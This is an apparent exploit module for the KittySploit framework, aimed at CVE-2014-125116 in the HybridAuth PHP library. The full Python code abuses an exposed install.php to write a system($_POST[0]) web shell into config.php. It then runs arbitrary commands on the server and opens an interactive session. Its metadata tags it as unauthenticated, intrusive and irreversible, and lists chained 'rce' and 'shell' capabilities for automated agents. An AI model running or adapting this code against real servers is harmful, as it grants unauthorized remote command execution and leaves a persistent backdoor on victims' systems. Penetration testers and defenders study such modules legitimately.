HybridAuth - install.php RCE (CVE-2014-125116)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""HybridAuth install.php / config.php RCE (CVE-2014-125116) — execute session."""

from __future__ import annotations

import re
from urllib.parse import quote

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'HybridAuth - install.php RCE (CVE-2014-125116)',
        'description': (
            'Exploits CVE-2014-125116 by writing system($_POST[0]) into config.php via the '
            'HybridAuth installer, then invoking commands through config.php. Opens an '
            'interactive execute session.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2014-125116'],
        'platform': Platform.MULTI,
        'payload': {'default': 'nopayload'},
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2014-125116'],
        'tags': ['hybridauth', 'php', 'rce', 'unauth', 'cve-2014-125116'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 3,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': ''},
                    {'capability': 'shell', 'from_detail': ''},
                ],
                'suggested_followups': ['scanner/http/cve_2014_125116_detect'],
            },
        },
    }

    base_path = OptString('', 'HybridAuth base path (empty = auto)', False, advanced=True)

    _PAYLOAD = 'OPENID_ADAPTER_STATUS=system($_POST[0]))));/*'

    def _bases(self) -> list[str]:
        base = str(self.base_path or '').strip().rstrip('/')
        if base:
            return [base]
        return ['/hybridauth', '/auth', '/social', '']

    def _ensure_webshell(self) -> bool:
        if getattr(self, '_webshell_ready', False) and getattr(self, '_hit_base', None) is not None:
            return True
        bases = [getattr(self, '_hit_base', None)] if getattr(self, '_hit_base', None) is not None else self._bases()
        for base in bases:
            if base is None:
                continue
            install = f'{base}/install.php'
            r0 = self.http_request(method='GET', path=install, allow_redirects=False)
            if not r0 or 'HybridAuth Installer' not in (r0.text or ''):
                continue
            self.http_request(
                method='POST',
                path=install,
                data=self._PAYLOAD,
                headers={'Content-Type': 'application/x-www-form-urlencoded'},
                allow_redirects=False,
            )
            probe = self.http_request(
                method='POST',
                path=f'{base}/config.php',
                data='0=id',
                headers={'Content-Type': 'application/x-www-form-urlencoded'},
                allow_redirects=False,
            )
            if probe and re.search(r'uid=\d+', probe.text or ''):
                self._hit_base = base
                self._webshell_ready = True
                return True
        return False

    def execute(self, cmd: str) -> str:
        if not self._ensure_webshell():
            return ''
        base = self._hit_base or ''
        r = self.http_request(
            method='POST',
            path=f'{base}/config.php',
            data=f'0={quote(str(cmd), safe="")}',
            headers={'Content-Type': 'application/x-www-form-urlencoded'},
            allow_redirects=False,
        )
        return (r.text or '') if r else ''

    def check(self):
        body = self.execute('id')
        if re.search(r'uid=\d+', body or ''):
            return {
                'vulnerable': True,
                'reason': 'CVE-2014-125116 confirmed via config.php webshell',
                'confidence': 'high',
            }
        return {
            'vulnerable': False,
            'reason': 'HybridAuth installer webshell did not return command output',
            'confidence': 'medium',
        }

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()